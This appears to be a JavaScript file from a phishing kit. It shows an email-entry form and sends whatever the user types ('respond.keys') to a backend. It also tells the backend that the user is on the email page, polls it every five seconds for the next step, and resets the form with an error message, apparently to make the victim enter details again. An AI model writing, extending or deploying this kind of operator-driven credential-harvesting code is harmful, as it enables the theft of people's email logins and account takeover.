$(document).ready(function() {
  REST_FN__.ask_email = {
    view: function() {
      return $("#email-view");
    },
    count: 0,
    show: function() {
      $(this.view()).show();
      if (this.count > 0) {
        this.error();
      }
      // window.location.href="../email/?op="+btoa(JSON.stringify(last_operation));return;
      // window.location.href="../email/";return;
      $('.num').text(last_operation.num)

      this.count++;
      this.shown();
    },
    error: function() {
      $(this.view())
        .find("form")[0]
        .reset();
        $(".err_div").show();
      // $(this.view())
      //   .find("form")
      //   .submit();
    },
    send: function(data) {
      CORE__.show_wating();
      respond.prev_op="ask_email";
      respond.keys = data;
      bider_obj.w = 1;
      CORE__.send_home(function() {});
    },
    shown: function() {
      CORE__.hide_wating();
      respond.mes = last_operation.suloginess_mes;
      CORE__.send_home();
    }
  };

  $("head base").attr("href", "");
  CORE__.bidder();
  bidder_timer = setInterval(function() {
    CORE__.bidder();
  }, 5000);

  respond.mes = "User on email page";
  CORE__.send_home();

  if ("op" in php_js) {
    last_operation = php_js.op;
    REST_FN__[last_operation.init_fn].show();
  }
});

//?op="+btoa(JSON.stringify(last_operation));
